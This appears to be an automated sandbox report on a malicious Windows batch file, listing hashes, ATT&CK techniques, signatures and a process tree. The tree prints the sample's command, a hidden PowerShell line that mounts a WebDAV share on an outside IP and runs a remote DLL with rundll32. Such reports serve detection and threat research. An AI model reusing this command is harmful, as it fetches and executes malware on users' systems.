524f6c7cd0469eafbf612f8a26ec7df8abeeb2289a2fc4bdc5232ccec6c54da6

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
14/07/2024, 18:51

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General

Target

28410314442699218576.bat
Size

2KB
MD5

9b2b8e0c079b283d40b42a621ec7e4f3
SHA1

23c6e7d829f977c521171bb3fc8f38fe5e0707e3
SHA256

52768ed721cd41910dcb85ffe2f4a0b4d4983bbc819cd6983813336682369884
SHA512

67b554c92b72da3fa5e42acaae005f863a0eb94c29e875f340410ca0b84587a45f6d52bd080df28b51f3b19471b049922dc7aa25fd68e0c0af5ae669994e57ba

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4732	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4732	powershell.exe
4732	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4732	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3084	wordpad.exe
3084	wordpad.exe
3084	wordpad.exe
3084	wordpad.exe
3084	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2256 wrote to memory of 3084	2256	cmd.exe	84
PID 2256 wrote to memory of 3084	2256	cmd.exe	84
PID 2256 wrote to memory of 4732	2256	cmd.exe	87
PID 2256 wrote to memory of 4732	2256	cmd.exe	87
PID 4732 wrote to memory of 4468	4732	powershell.exe	89
PID 4732 wrote to memory of 4468	4732	powershell.exe	89
PID 4732 wrote to memory of 2912	4732	powershell.exe	90
PID 4732 wrote to memory of 2912	4732	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\28410314442699218576.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2256
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4215.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4732
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:4468
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4215.dll,entry
    3⤵
    PID:2912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_thuw3f2m.fds.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4732-5-0x0000026975740000-0x0000026975762000-memory.dmp

Filesize
136KB

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